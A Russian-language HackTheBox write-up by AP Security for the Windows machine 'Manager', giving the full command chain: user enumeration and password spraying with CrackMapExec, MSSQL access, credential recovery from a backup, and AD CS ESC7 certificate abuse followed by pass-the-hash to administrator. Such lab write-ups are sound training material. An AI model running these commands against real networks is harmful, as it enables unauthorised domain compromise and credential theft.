Приветствую вас, дорогие читатели, на связи компания AP Security. Сегодня мы с вами пройдем Windows-машину Manager на HackTheBox.

Дисклеймер: все утилиты и техники, продемонстрированные в статье, приведены в учебных целях.

Сканирование и разведка

Для обнаружения активных сервисов просканируем машину с помощью Nmap:

nmap -sC -sV -p- -T4 10.10.11.236

Попробуем определить активных пользователей с помощью CrackMapExec, используя опцию --rid-brute:

crackmapexec smb 10.10.11.236 -u anonymous -p ' ' --rid-brute

В результате получим список пользователей, который можно применить для дальнейшего развития вектора атаки. Список сохраним в отдельный файл, приведем к нижнему регистру и попробуем поспреить пароли на различные сервисы. К счастью у нас это получится, ведь CrackMapExec поддерживает работу с большим количеством протоколов Microsoft.

crackmapexec smb 10.10.11.236 -u users.txt -p users.txt
crackmapexec mssql 10.10.11.236 -u users.txt -p users.txt

Обнаружим, что у пользователя operator пароль совпадает с юзернеймом для службы MsSQL:

Точка входа

Имея учетные данные к mssql, мы можем воспользоваться модулем mssqlclient из утилиты Impacket для подключения к базе данных:

impacket-mssqlclient manager.htb/operator:operator@10.10.11.236 -windows-auth

Итак, мы успешно получили удаленный доступ к базе данных! Попробуем выполнить следующую команду для просмотра корневой папки:

exec xp_dirtree 'C:\inetpub\wwroot',1,1;

У процедуры xp_dirtree три параметра:

  • directory – путь для получения списка папок и файлов

  • depth – сколько уровней вложенных папок следует сканировать (по умолчанию 0 – все подпапки)

  • file – кроме списка папок возвращать список файлов (по умолчанию 0 – отображать только папки)

Данная команда выводит список папок и файлов в указанном пути.

Вы можете подробнее ознакомиться с методологией тестирования на проникновения MsSQL на HackTricks.

Хм, любопытный архив с названием website-backup. Выкачаем его с помощью wget:

wget 10.10.11.236/website-backup-27-07-23-old.zip

Распакуем архив и найдем там файл .old-conf.xml. Просмотрим его содержимое на наличие какой-либо интересной нам информации:

Отлично, мы получили учетные данные пользователя raven. Попробуем креды для подключения к машине с помощью утилиты Evil-WinRM:

evil-winrm -i 10.10.11.236 -u raven -p 'R4v3nBe5tD3veloP3r!123'

Здесь же в директории C:\Users\Raven\Desktop будет лежать файл с флагом user.txt

Повышение привилегий

Посмотрим информацию о пользователе с помощью команды whoami \all

Пользователь состоит в группе BUILTIN\Certificate Service . Воспользуемся утилитой certipy-ad для поиска уязвимостей в службе сертификатов:

certipy-ad find -u raven@manager.htb -p 'R4v3nBe5tD3veloP3r!123' -dc-ip 10.10.11.236

Просмотрим сохраненный файл на предмет обнаружения уязвимостей:

Служба сертификатов уязвима к атаке ESC7. В данной службе Active Directory, есть шаб­лон, который по умол­чанию уяз­вим к ESC1, — SubCA, но выпус­кать его могут лишь поль­зовате­ли, вхо­дящие в груп­пу Domain Admins.

ESC7 возможен из-за того, что зап­росы, которые завер­шились неуда­чей, сох­раня­ются и могут быть зап­рошены повторно. Поль­зовате­ли, име­ющие пра­ва Manage CA и Manage Certificates на центр сер­тифика­ции, могут перевы­пол­нять неудач­ные зап­росы на выпуск сер­тифика­та и выпус­кать SubCA на любого поль­зовате­ля.

Первым делом синхронизируем наше время с контроллером домена:

sudo rdate -n 10.10.11.236

Чтобы перевыполнять неудачные запросы, как я указал выше, нам нужно иметь права Manage CA и Manage Certificates. Мы можем предоставить себе это право, добавив нашего пользователя в качестве нового сотрудника:

certipy ca -ca 'manager-DC01-CA' -add-officer raven -username raven@manager.htb -password 'R4v3nBe5tD3veloP3r!123' -dc-ip 10.10.11.236

Шаблон SubCA может быть включен на центре сертификатов с помощью параметра
-enable-template:

certipy ca -ca 'manager-DC01-CA' -username raven@manager.htb -password 'R4v3nBe5tD3veloP3r!123' -dc-ip 10.10.11.236 -enable-template 'SubCA'

Далее активируем сам SubCA:

certipy req -username raven@manager.htb -password 'R4v3nBe5tD3veloP3r!123' -ca 'manager-DC01-CA' -target 10.10.11.236 -template SubCA -upn administrator@manager.htb

Запросим сертификат на основе шаблона SubCA. Запрос будет отклонен, но мы сохраним себе закрытый ключ и запишем идентификатор запроса:

certipy req -username raven@manager.htb -password 'R4v3nBe5tD3veloP3r!123' -ca 'manager-DC01-CA' -target 10.10.11.236 -template SubCA -upn administrator@manager.htb

С помощью команд Manage CA и Manage Certificates мы можем выпустить запрос на неудачный сертификат с помощью команды ca и параметра-issue-request:

certipy-ad ca -ca 'manager-DC01-CA' -issue-request 18 -username raven@manager.htb -password 'R4v3nBe5tD3veloP3r!123'

Сохранив сертификат, выпустим его на пользователя administrator:

certipy-ad req -username raven@manager.htb -password 'R4v3nBe5tD3veloP3r!123' -ca 'manager-DC01-CA' -target 10.10.11.236 - retrieve 18

Получив сертификат, пройдем аутентификацию и запросим новый хеш пароля для нашего порльзователя:

certipy-ad auth -pfx administrator.pfx -username 'administrator' -domain 'manager.htb' -dc-ip 10.10.11.236

Получив хеш пароля, подключимся к машине, воспользовавшись утилитой PsExec:

impacket-psexec manager.htb/administrator@manager.htb -hashes aad3b435b51404eeaad3b435b51404ee:ae5064c2f62317332c88629e025924ef -dc-ip 10.10.11.236

Машина пройдена!

Комментарии (0)